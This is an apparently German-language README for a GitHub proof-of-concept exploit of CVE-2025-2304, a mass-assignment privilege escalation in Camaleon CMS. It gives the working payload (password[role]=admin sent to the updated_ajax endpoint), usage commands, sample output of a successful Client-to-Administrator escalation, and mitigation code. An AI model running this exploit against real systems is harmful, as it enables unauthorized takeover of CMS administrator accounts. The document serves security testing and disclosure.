
Proof-of-concept für CVE-2025-2304 — kritische Mass-Assignment-Privilegienerweiterung (CVSS 9.4) in Camaleon CMS.
Ein Proof-of-Concept-Exploit (PoC) für CVE-2025-2304, eine kritische Mass-Assignment-Schwachstelle in Camaleon CMS, die eine Privilegieneskalation von Benutzern mit niedrigen Berechtigungen zu Administratoren ermöglicht.
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
CVE-2025-2304 ist eine kritische Mass-Assignment-Schwachstelle in Camaleon CMS, die in der Methode updated_ajax des UsersController existiert. Die Schwachstelle beruht auf der Verwendung der gefährlichen Methode permit! in Rails, die alle Parameter ohne jegliche Filterung durchlässt.
Dieser PoC zeigt, wie ein authentifizierter Benutzer mit niedrigen Berechtigungen durch das Injizieren unautorisierter Parameter während Passwortänderungsvorgängen zur Administratorrolle eskalieren kann.
CVSS-Score: 9.4 (Kritisch)
Der anfällige Code verwendet params.require(:user).permit!, das alle benutzerdefinierten Parameter ohne Validierung akzeptiert:
def updated_ajax
user_params = params.require(:user).permit! # DANGEROUS!
current_user.update(user_params)
end
Ein Angreifer kann zusätzliche Parameter wie user[role]=admin neben legitimen Passwortänderungsfeldern injizieren, wodurch die Anwendung die Rolle des Benutzers auf Administrator aktualisiert.
Angriffsvektor:
/admin/users/{id}/updated_ajax sendenuser[role]=admin injizieren--no-password-field-Flag für sicherstes Testengit clone https://github.com/d3vhthnnni/cve-2025-2304-poc.git
cd cve-2025-2304-poc
pip install -r requirements.txt
Oder manuell installieren:
pip install requests beautifulsoup4
python3 cve-2025-2304-poc.py <target_url> -u <username> -p <password> [options]
positional arguments:
target Target URL (e.g., http://target.com)
required arguments:
-u, --username Existing username for authentication
-p, --password User password
optional arguments:
-h, --help Show help message and exit
-v, --verbose Verbose output (show all requests)
--proxy PROXY HTTP proxy for traffic inspection (e.g., http://127.0.0.1:8080)
--no-password-field Test exploitation without password fields (safest)
--skip-admin-test Skip destructive admin password reset test
Mit vorhandenen Benutzeranmeldedaten testen, während das Passwort erhalten bleibt:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123
Testen ohne Passwortfelder im Exploit-Payload:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --no-password-field
Verkehr für die manuelle Analyse durch Burp Suite leiten:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --proxy http://127.0.0.1:8080
Detaillierte Ausgabe aktivieren, die alle Anfragen und Antworten zeigt:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 -v
Nur die Privilegieneskalation testen, das Zurücksetzen des Admin-Passworts überspringen:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --skip-admin-test
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
============================================================
CVE-2025-2304 - Camaleon CMS Privilege Escalation PoC
Mass Assignment Vulnerability Tester
Author: d3vn0mi | GitHub: github.com/d3vhthnnni
============================================================
[*] Target: http://target.com
[*] Username: testuser
[*] Password: **********
[*] Logging in as testuser...
[+] Successfully logged in
[*] Checking CMS version...
[*] Detected version: 2.9.0
[+] Version is VULNERABLE (< 2.9.1)
============================================================
[*] Testing CVE-2025-2304 Mass Assignment Vulnerability
============================================================
[*] Target User: testuser (ID: 7)
[*] Current Role: Client (client)
[*] Password will remain unchanged
[1/7] Testing: AJAX endpoint - user[role]
✗ Failed
[2/7] Testing: AJAX endpoint - password[role]
============================================================
[+] EXPLOITATION SUCCESSFUL!
============================================================
[+] Privilege Escalation: Client → Administrator
[+] Vulnerable Endpoint: /admin/users/7/updated_ajax
[+] Working Payload: {'password[role]': 'admin'}
[+] Password Unchanged: User can still login normally
[+] CVE-2025-2304 CONFIRMED!
[✓] CVE-2025-2304 VULNERABILITY CONFIRMED
| Version | Status |
|---|---|
| < 2.9.1 | ❌ Anfällig |
| ≥ 2.9.1 | ✅ Behoben |
Besonders anfällig:
Upgrade auf Version 2.9.1 oder neuer
gem update camaleon_cms
Benutzerkonten prüfen
/users/*/updated_ajax suchenPasswortzurücksetzungen erzwingen (falls kompromittiert)
Sicheres Codemuster:
Ersetzen Sie gefährliches permit! durch explizite Whitelisting:
# Before (VULNERABLE)
def updated_ajax
user_params = params.require(:user).permit!
current_user.update(user_params)
end
# After (SECURE)
def updated_ajax
user_params = params.require(:user).permit(:password, :password_confirmation)
current_user.update(user_params)
end
Zusätzliche Sicherheitsmaßnahmen:
Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.
Rechtlicher Hinweis:
Ethische Nutzung:
d3vn0mi
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.
Beiträge, Probleme und Funktionsanfragen sind willkommen!
Schauen Sie sich gerne die Issues-Seite an.
Hinterlassen Sie einen ⭐️, wenn Ihnen dieses Projekt geholfen hat!
Hinweis: Dieses Repository dient der Sicherheitsforschung und Bildungszwecken. Praktizieren Sie stets verantwortungsvolle Offenlegung und holen Sie vor dem Testen die entsprechende Genehmigung ein.